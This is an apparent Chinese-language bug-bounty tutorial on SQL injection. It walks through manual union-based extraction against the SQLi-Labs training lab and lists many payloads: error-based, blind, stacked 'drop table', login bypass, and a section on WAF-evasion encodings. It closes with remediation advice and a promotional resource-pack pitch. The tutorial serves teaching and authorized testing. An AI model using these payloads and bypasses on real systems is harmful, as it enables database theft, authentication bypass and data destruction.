挖 SRC 必备 SQL 注入:看懂原理,手工注入实战,掌握 WAF 绕过思路
免责声明:本文内容仅用于网络安全学习、授权环境安全测试,严禁在未授权的网站、系统进行任何渗透、攻击操作,未经授权测试属于违法行为。所有实验请在本地靶场(DVWA、SQLi-Labs、WebGoat 等)内完成,本文作者不承担任何违规操作带来的法律责任。
前言
SQL 注入是 Web 安全领域最经典、出现时间最早、危害最高的高危漏洞之一,属于 OWASP Top10 长期稳居前列的漏洞。从十几年前大量网站被拖库,到现在护网行动中经常出现的 SQL 注入漏洞,哪怕到 2026 年,在很多老旧系统、外包项目、内部管理后台中依然频繁出现。
很多刚入门 Web 安全的同学,学习 Web 安全的第一个漏洞就是 SQL 注入。但绝大多数新手学习只停留在工具跑注入,使用 Sqlmap 一键拿库,并不理解底层原理,一旦遇到过滤、WAF、特殊闭合场景,工具失效之后就无从下手。面试的时候面试官一问手工注入思路、注入原理、WAF 绕过思路,直接卡壳。
本文从底层原理出发,完整讲解 SQL 注入的形成原因、漏洞前提、注入分类、详细手工注入全流程、常用注入载荷,以及各类 WAF 绕过思路。所有实操步骤全部使用手工方式演示,不依赖 sqlmap,帮助读者理解注入本质,而不是只会使用自动化工具。
阅读前置基础:需要了解基础 HTTP 请求、GET/POST 参数、MySQL 基础 SQL 语法。实验环境推荐 SQLi-Labs、DVWA,本地搭建 MySQL+PHP 环境练习。
一、SQL 注入基础原理
1.1 什么是 SQL 注入
SQL 注入(SQL Injection,简称 SQLi),本质是Web 程序没有对用户可控输入做严格过滤、转义,直接将用户输入拼接到 SQL 语句中执行,攻击者通过构造特殊输入,修改原始 SQL 语句语义,执行非预期数据库查询操作。
Web 应用工作简单流程:
- 用户在页面输入参数(URL 参数、表单 POST 数据、Cookie 参数等);
- Web 后端(PHP/JAVA/Python 等)接收用户输入;
- 后端代码直接拼接用户输入到 SQL 语句;
- 将拼接完成 SQL 语句发送到数据库执行;
- 数据库返回查询结果,后端渲染到网页展示。
正常场景示例:
网站查询用户信息功能,URL:shturl.cc/fF1qVgS10m
后端 PHP 代码示例(存在漏洞代码)
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysql_query($sql);用户传入id=1,拼接后 SQL 语句:
SELECT * FROM users WHERE id = 1数据库执行这条语句,查询 id 等于 1 的用户数据,正常展示页面内容。
注入场景:攻击者传入id=1 or 1=1
拼接后 SQL 语句变成:
SELECT * FROM users WHERE id = 1 or 1=1数据库执行,1=1恒成立,返回 users 表全部用户数据,也就是拖库的基础。
核心一句话总结漏洞根源:用户输入被当作 SQL 代码执行,而不是单纯当成字符串。
1.2 SQL 注入产生三大必要条件(缺一不可)
很多初学者误以为只要传入特殊字符就一定存在注入,这个认知是错误的,必须同时满足下面三个条件,漏洞才会存在:
- 用户可控输入点:参数可以被攻击者控制,GET、POST、Cookie、HTTP 头、JSON 参数等;
- 输入直接拼接进 SQL 语句,没有预编译、没有严格转义过滤;
- 数据库执行拼接后的 SQL 语句,执行结果能反馈到前端(报错回显、内容差异、时间延迟等)。
如果使用参数化查询(预编译),用户输入会被数据库当作字符串处理,无论输入什么特殊符号,都不会修改 SQL 语义,从根源杜绝注入,这是最根本修复方案。
1.3 注入危害
SQL 注入一旦被利用,危害程度属于高危:
- 查询数据库全部数据:拖库,获取账号密码、手机号、身份证等敏感数据;
- 修改数据库数据:修改管理员密码、篡改网站页面内容;
- 删除数据:删除表、删除库,破坏业务数据;
- 读写服务器文件(MySQL 支持 load_file/outfile);
- 获取服务器权限,上传后门,拿下服务器;
- 绕过登录:登录页面注入直接绕过账号密码验证,进入后台管理系统。
注意:不同数据库支持的语法不一样,MySQL、SQLServer、Oracle 注入载荷存在差异,本文主要以 MySQL 数据库作为示例,文末会简单介绍不同数据库注入语法区别。
二、SQL 注入分类
注入分类有多种划分维度,按数据提交方式划分;按照回显方式划分;按照注入位置划分。下面逐个讲解。
2.1 根据提交方式划分
- GET 注入:注入点在 URL 的 GET 参数中,最常见,参数直接放在 URL。例如
?id=1。特点:参数直接可见,测试简单,容易被 WAF 捕获。 - POST 注入:注入点在 POST 表单数据,登录框、搜索框等表单,数据放在请求体,不在 URL。POST 注入 URL 看不到 payload,部分简单 WAF 不会检测 POST 内容。
- Cookie 注入:注入点在 Cookie 字段,后端读取 Cookie 的值拼接 SQL,很多时候容易被忽略。抓包修改 Cookie 值测试。
- HTTP 头注入:注入点在 User-Agent、Referer、X-Forwarded-For 等请求头,后端把请求头内容存入数据库,存在注入。
- JSON 注入:前端提交 JSON 格式数据(application/json),后端解析 JSON 取值拼接 SQL,现在前后端分离项目常见。
2.2 根据回显类型划分(手工注入最常用分类方式)
这是手工注入、面试最常考的分类,重点掌握:
2.2.1 联合查询注入(Union Select 注入)
条件:页面可以直接展示 SQL 查询返回数据,有正常数据回显。
原理:利用 union 关键字,把两条 select 查询结果合并,把想要查询的数据库信息直接展示在页面。适合有回显场景,手工注入优先尝试联合注入。
2.2.2 报错注入
条件:页面会输出数据库执行错误信息。
原理:利用数据库函数,触发数据库报错,同时把查询到的数据放到报错信息里面,页面打印报错内容,读取数据。
MySQL 常用报错函数:updatexml ()、extractvalue ()。
适用场景:页面没有正常回显,但是会输出 SQL 报错信息。
2.2.3 布尔盲注
条件:页面没有数据回显,但是页面内容会根据 SQL 执行真假产生差异。例如查询成立页面正常显示,查询失败页面显示空白 / 报错。没有数据库报错信息。
原理:构造判断语句,通过页面返回真假(页面变化),逐个猜字符,一位一位爆破数据库内容。
2.2.4 时间盲注
条件:页面无论 SQL 执行成功失败,页面返回内容完全没有任何差别,没有回显、没有页面差异。
原理:利用 sleep () 函数,当条件成立,数据库执行 sleep 延时,通过页面响应时间判断条件真假,逐位猜数据。这是盲注里面最难的一类,页面看不出任何变化,只能看响应延迟。
2.2.5 堆叠注入
原理:数据库支持多条 SQL 语句同时执行,分号;分割多条 SQL。例如1;drop table users;,一条语句执行查询,第二条执行删除。
限制:PHP 默认 mysql 扩展不支持堆叠,mysqli 部分配置下支持;SQL Server 默认支持堆叠注入。
2.3 按照闭合方式分类(新手最容易踩坑)
SQL 语句中字符串需要引号闭合,注入的时候必须先把原有引号闭合,才能注入自己的 SQL 语句:
- 数字型注入:参数不需要引号闭合,
where id=1,直接写 or 语句,不需要单引号。 - 字符型注入:参数被单引号包裹
where name='xxx',注入 payload 需要单引号闭合前面字符串。payload' or 1=1 --+ - 双引号注入:使用双引号闭合
where name="xxx",payload" or 1=1 --+ - 括号闭合注入:
where id=(1),需要使用括号闭合。
面试高频考点:数字型和字符型注入区别。数字型不需要引号,字符型必须闭合引号。
三、手工 SQL 注入完整实操(MySQL,SQLi-Labs Less1 演示)
实验环境:SQLi-Labs Less-1,GET 字符型单引号闭合,联合查询注入。地址:
/?id=1
原始后端拼接 SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1;
步骤 1:判断是否存在注入,判断闭合符号
输入 payload:?id=1'
页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1
出现 SQL 语法报错,说明输入的单引号进入 SQL 语句,触发语法错误,存在注入。
报错内容' LIMIT 0,1,可以看出原来 SQL 使用单引号闭合。
测试注释符号:MySQL 注释有三种:
--减号减号空格(URL 中空格可以写成+,--+)#井号注释,URL 编码%23/* 注释内容 */多行注释
payload:?id=1' and 1=2 --+1'闭合前面单引号,and 1=2 条件假,后面--+注释掉后面原 SQL 剩余内容,页面无数据。
payload:?id=1' and 1=1 --+页面正常返回数据。页面根据真假变化,确认注入存在,闭合方式为单引号。
步骤 2:判断查询字段数量 order by
order by 用来排序,order by n,代表按第 n 列排序。如果列数小于 n,数据库报错,以此判断查询有多少字段。
payload:?id=1' order by 3 --+页面正常
payload:?id=1' order by 4 --+页面报错
结论:查询结果一共 3 列。联合查询 union 前后两个 select,列数必须保持一致。
步骤 3:确定回显位置
使用 union select,前面查询设置条件为假,只展示 union 后面查询结果。
payload:?id=-1' union select 1,2,3 --+
-1 使得前面 select 查询为空,页面展示 union 后的 1,2,3。页面显示 2、3 位置有输出。说明第 2 列、第 3 列是页面回显位。后续查询数据库信息放到 2,3 位置。
步骤 4:查询数据库名
MySQL 内置函数 database (),返回当前数据库名称。
payload:
?id=-1' union select 1,database(),3 --+页面回显数据库名,例如 security。
步骤 5:查询数据库中的表名
information_schema 是 MySQL 自带元数据库,记录所有库、表、字段信息。
查询 security 库下面所有表:
select table_name from information_schema.tables where table_schema='security'构造 payload:
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+如果只返回第一条,可以增加 limit 分页:limit 0,1;limit 1,1 依次读取每一张表。拿到表名 users。
步骤 6:查询 users 表字段名
查询 security 库 users 表里面所有列名:
select column_name from information_schema.columns where table_schema='security' and table_name='users'payload:
?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+拿到字段 id,username,password。
步骤 7:读取账号密码数据
payload:
?id=-1' union select 1,username,password from users limit 0,1 --+循环修改 limit,读取全部账号密码。至此,联合查询手工注入完整流程完成。
3.1 报错注入实操演示(updatexml)
当页面无法回显数据,但是打印 SQL 报错,可以使用 updatexml 报错注入。
updatexml 语法:updatexml(1,concat(0x7e,(select database()),0x7e),1)
原理:第二个参数是 xpath 表达式,~不是合法 xpath 字符,触发报错,同时把查询内容放到报错信息输出。
payload:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+页面报错内容里面出现数据库名称。
3.2 布尔盲注手工思路
页面没有回显,只有页面内容真假区分。
payload 示例:
?id=1' and ascii(substr(database(),1,1))>100 --+substr 截取数据库名第 1 个字符,ascii 转为数字,对比大小。
页面正常说明条件成立,字符 ascii 大于 100;页面空白,条件不成立。二分法,不断调整数字,猜出第一个字符,之后依次猜第 2、3 字符。
3.3 时间盲注手工思路
页面真假没有任何差异,依靠 sleep 延时判断。
payload:
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) --+if (条件,成立执行 sleep (5),不成立执行 1)。
如果第一个字符 ascii>100,数据库 sleep 5 秒,页面响应慢 5 秒;否则页面立刻返回。根据响应延迟逐位猜字符。
注意:时间盲注手工测试很慢,一般写 Python 脚本自动化猜解,但是面试必须掌握原理。
四、SQL 注入常用载荷(Payload)详解
4.1 判断注入存在基础 payload
数字型:
?id=1 and 1=1 ?id=1 and 1=2 ?id=1 or 1=1字符型单引号:
?id=1' and 1=1 --+ ?id=1' and 1=2 --+ ?id=1' or 1=1 --+双引号闭合:
?id=1" and 1=1 --+4.2 注释 payload
--+ # MySQL注释,URL空格 # # URL编码 %23 /* */ # 多行注释4.3 联合查询基础 payload
?id=-1' union select 1,2,3 --+ ?id=-1' union select 1,database(),version() --+version () 获取 MySQL 版本;user () 获取数据库当前用户;database () 当前库名。
4.4 updatexml 报错注入 payload
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+extractvalue 报错 payload:
?id=1' and extractvalue(1,concat(0x7e,database()))--+限制:updatexml 返回字符有长度限制,最多返回 32 字符,长数据需要截取。
4.5 布尔盲注 payload
# 截取第n位字符,转为ascii对比 ?id=1' and ascii(substr(database(),1,1))>114 --+4.6 时间盲注 payload
?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+ ?id=1' and if((select count(*) from users)>1,sleep(3),1)--+4.7 堆叠注入 payload
?id=1;show databases; ?id=1';drop table test;--+4.8 绕过登录框注入 payload(万能密码)
登录框 POST 注入,账号输入框 payload:
admin' or 1=1 --+ ' or 1=1#原始 SQL:select * from user where username='$name' and password='$pass'
输入admin' or 1=1 --+,拼接 SQL 变成:
select * from user where username='admin' or 1=1 -- ' and password='$pass'--注释掉后面密码判断语句,直接查询所有用户,绕过登录。
注意:万能密码不是万能,要看闭合方式,数字型登录框不需要单引号。
五、WAF 绕过原理、过滤场景与绕过载荷
WAF(Web 应用防火墙),会检测 HTTP 请求内容,匹配特征库,当请求里面包含union、select、and、or、sleep、updatexml等 SQL 注入关键字,直接拦截请求,返回 403。
WAF 的检测分为几种:关键字黑名单、正则匹配、语法语义检测、请求频率检测。
简单 WAF 只做简单字符串匹配,容易绕过;高级 WAF 会做 SQL 语法解析,难度大幅提升。
核心绕过思路:不改变 SQL 语句执行语义,修改字符串形式,让 WAF 特征库匹配失败,数据库依然可以正常解析执行 SQL。
5.1 大小写变形绕过
MySQL 关键字大小写不敏感,SELECT、select、SeLeCt 数据库都识别,WAF 只匹配小写 select。
原始 payload:union select 1,2
变形 payload:
Union Select 1,2 uNiOn SeLeCt 1,2适用场景:WAF 简单黑名单匹配小写关键字。
5.2 注释分割绕过(内联注释 /xxx/)
MySQL 支持/*!内容*/,内联注释里面内容会被 MySQL 当作 SQL 执行,WAF 可能不会解析注释内部内容。
un/*ion*/ sel/*ect*/ 1,2例子:
?id=-1' un/*ion*/ sel/*ect*/ 1,database(),3 --+注意:
/*!50001 select */版本注释,MySQL 版本大于 50001 执行里面语句,也是常用方式。
5.3 空白符替换绕过
WAF 拦截空格,SQL 中空格可以替换为%09(tab)、%0a换行、%0d回车、%0b、%0c,/**/注释代替空格。
原始 payload:union select 1,2
替换空格:
union/**/select/**/1,2 union%09select%091,2完整示例:
?id=-1' union/**/select/**/1,database(),3--+5.4 等价函数、等价符号替换绕过
and/or 过滤
and 等价&&,or 等价||
payload 示例:
?id=1' && 1=2 --+ ?id=1' || 1=1 --+注意:URL 里面
&是参数分隔符,URL 提交&&需要编码成%26%26。
sleep 被过滤
sleep 替代方案:benchmark 函数,BENCHMARK(1000000,MD5('test')),执行大量运算造成延时。
时间盲注 payload:
?id=1' and if(ascii(substr(database(),1,1))>114,BENCHMARK(500000,MD5('1')),1)--+substr 过滤
substr 等价 mid、substring
substr(database(),1,1) mid(database(),1,1) substring(database(),1,1)concat 过滤
concat 可以用||字符串拼接(部分模式生效)
5.5 字符串编码绕过
- URL 编码:对关键字 URL 编码,
select->%73%65%6C%65%63%74,多层 URL 编码(双重编码)。 - Hex 十六进制编码字符串:字符串可以用 0x 开头十六进制,代替引号字符串。
例如字符串 security 十六进制是 0x7365637572697479
原来 payload:table_schema='security'
替换成table_schema=0x7365637572697479
payload 示例:
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479 limit 0,1 --+优势:不再使用单引号,绕过单引号过滤。
5.6 字符拆分 + 拼接绕过
使用 concat 拼接字符串,拆分关键词。
concat('se','lect')payload 示例:
?id=1' and updatexml(1,concat(0x7e,concat('da','tabase()'),0x7e),1)--+5.7 HTTP 参数污染 HPP 绕过
适用场景:WAF 只解析第一个参数,后端语言解析第二个参数。
示例:?id=1&id=' or 1=1 --+
WAF 读取 id=1,放行;后端接收第二个 id 值,带入 SQL 执行。
不同语言 HPP 特性不一样,PHP 会取最后一个参数。
5.8 编码拆分,JSON 注入特殊绕过
如果注入点是 JSON POST,Content-Type:application/json。WAF 检测 JSON 内关键字,可以使用 unicode 编码。
例如"or"写成\u006f\u0072。后端解析 unicode 还原字符串,带入 SQL。
POST body 示例:
{"id":"1' \u006f\u0072 1=1 --+"}5.9 绕过高阶 WAF 注意事项
上面的方法对简单 WAF 有效,现代高级 WAF(云 WAF)会做 SQL 语法解析,单纯变形绕过很难生效,此时思路:
- 减少特征,拆分请求;
- 使用 HTTP 头注入、Cookie 注入,WAF 对头检测较弱;
- 分阶段注入,先探测,再注入,避免高频请求触发频率拦截;
- 寻找其他注入点,换参数测试。
重要:WAF 绕过技巧很多,但是没有永久万能 payload,绕过依赖 WAF 规则,同一个 payloadA 站点可以绕过,B 站点直接拦截。
六、不同数据库注入语法差异(MySQL / SQLServer / Oracle)
很多面试会问到,不同数据库注入的区别,这里整理核心差异:
- MySQL
- 注释
--,#; - 版本函数 version (),当前库 database ();
- information_schema 元数据库;
- 延时 sleep ()、benchmark;
- 字符串 0x 十六进制;
- limit 分页。
- SQL Server
- 注释
--; - 堆叠注入
;支持很好; - 分页 top;
- 延时 waitfor delay ‘0:0:5’;
- 元数据 sys.tables。
- Oracle
- 注释
--; - 没有 limit,使用 rownum 分页;
- 延时 dbms_lock.sleep;
- dual 虚表,select 1 from dual;
- 元数据 all_tables。
七、SQL 注入常见过滤场景与对应解决思路汇总
| 过滤内容 | 现象 | 绕过思路 | |
|---|---|---|---|
| 过滤 and/or | and、or 直接拦截 | 使用 &&、 | ;拆分拼接;注释分割 |
| 过滤空格 | 空格被替换删除 | /**/、%09、%0a 等空白字符替代 | |
| 过滤 union/select | 关键字拦截 | 大小写变形、注释分割、字符串拼接、hex 编码 | |
| 过滤单引号’ | 单引号被转义 | 使用 hex 字符串;宽字节注入(GBK 编码场景) | |
| 过滤 sleep | sleep 拦截 | benchmark、其他延时方式,或者布尔盲注 | |
| 过滤 #、–+ | 注释拦截 | 使用内联注释闭合语句 | |
| 过滤逗号 | 逗号不能使用 | 盲注 substr 替换,使用 from for 语法,updatexml 去掉逗号 |
补充:宽字节注入(GBK 编码场景)
后端数据库连接使用 GBK 编码,PHP 开启 addslashes 转义单引号,'被转义成\'。
传入%df',url 解码后%df%5c,GBK 识别%df%5c是一个汉字,\'的反斜杠被吃掉,单引号逃逸。
payload 示例:
?id=1%df' and 1=1 --+适用条件:PHP+MySQL,数据库字符集 GBK,开启转义。这是国内老站点高频场景。
八、漏洞修复方案(面试高频考点)
很多面试问到:SQL 注入怎么修复?优先写预编译参数化查询,其次输入过滤。
- 参数化查询(预编译)【首选方案】
将 SQL 语句模板固定,用户输入作为参数传入,数据库自动把输入作为字符串,不会解析 SQL 语法,从根源杜绝注入。Java PreparedStatement、PHP PDO 预编译。
重点:不是简单字符串替换,是数据库层面预编译。
- 输入白名单校验
如果参数只能是数字,直接校验输入必须是数字,非数字直接拒绝。例如 id 参数,只能接收整数。 - 特殊字符转义
addslashes、mysqli_real_escape_string,但是有局限性,GBK 场景存在宽字节注入风险,不能作为唯一修复手段。 - 最小权限原则
数据库账号分配最小权限,Web 连接数据库账号不要 root 权限,禁止 file 读写权限。就算注入成功,也无法读取服务器文件、拖库之外的高危操作。 - WAF 防护
部署 WAF 作为辅助防护,不能当作唯一修复方案,WAF 存在绕过可能。 - 关闭数据库错误信息回显
不要直接把 SQL 报错返回前端,防止报错注入。
一句话面试标准答案:优先使用预编译参数化查询,配合输入校验、最小权限、关闭详细错误,WAF 作为辅助。
九、常见面试题 & 易错知识点
Q1:union 查询为什么前面写 id=-1?
A:原始查询返回一条数据,union 会合并两个查询结果。id=-1 让前面查询返回空,页面只会展示 union 后面查询的数据,方便直接看注入查询结果。
Q2:盲注和联合注入区别?
A:联合注入页面直接回显查询结果;盲注页面没有数据回显,依靠页面差异或者响应延迟猜数据。布尔盲注看页面内容,时间盲注看响应时间。
Q3:# 和 --+ 注释区别?
A:--后面必须有空格,URL 中空号会被编码,--+中+代表 URL 空格;#在 URL 里面需要编码%23,GET 请求直接写 #会被浏览器当成锚点,不会传到后端。POST 中 #可以直接使用。
Q4:information_schema 是什么?
A:MySQL 系统元数据库,存储数据库所有库、表、字段信息,注入中用来查询表名字段名。
Q5:什么是二次注入?
A:用户输入恶意 payload,后端转义存入数据库,取出数据时没有再次过滤,触发注入。简单理解:payload 先入库,在另一个功能点触发 SQL 执行。二次注入隐蔽性强,不容易直接探测。
十、实战踩坑总结
- 不要上来直接 union,第一步先判断注入和闭合方式,很多新手直接写 union,忽略引号,payload 完全无效;
- 盲注手工测试效率极低,实际工作一般写 Python 脚本,但是原理必须掌握;
- WAF 绕过没有万能 payload,需要逐个测试特征;
- 很多站点存在过滤,但是过滤不完整,例如只过滤小写 select,忽略大写;
- 区分注入位置,GET 容易测试,POST、Cookie、HTTP 头注入容易被忽略;
- 不要依赖 sqlmap,工具是辅助,工具跑不出注入不代表不存在注入,很多场景需要手工构造 payload 绕过过滤;
- 编码问题:URL 参数必须考虑 URL 编码,特殊字符
&、#、空格不编码会造成参数解析异常。
总结
SQL 注入是 Web 安全的基石漏洞,学习注入不要停留在工具一键跑。掌握底层原理、理解 SQL 语句拼接逻辑,才能够处理过滤、WAF、盲注这类复杂场景。
整个学习顺序:理解原理 → 判断注入点和闭合 → 联合查询手工注入 → 报错注入 → 布尔盲注 → 时间盲注 → WAF 绕过。
记住核心本质:SQL 注入本质就是破坏原有 SQL 语句结构,修改语义,让攻击者可控输入被数据库当成 SQL 代码执行。所有 payload、WAF 绕过,全部围绕这个核心。
漏洞修复首选参数化预编译,输入过滤、WAF 只是辅助手段。
网络安全学习,一定要在本地授权靶场练习,严禁对线上网站进行测试。Web 安全后续学习可以继续学习 XSS、文件上传、SSRF 等 OWASP 漏洞。
如何系统学习网络安全/黑客?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)
2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)
3.安装包/源码
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
4.面试试题/经验
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!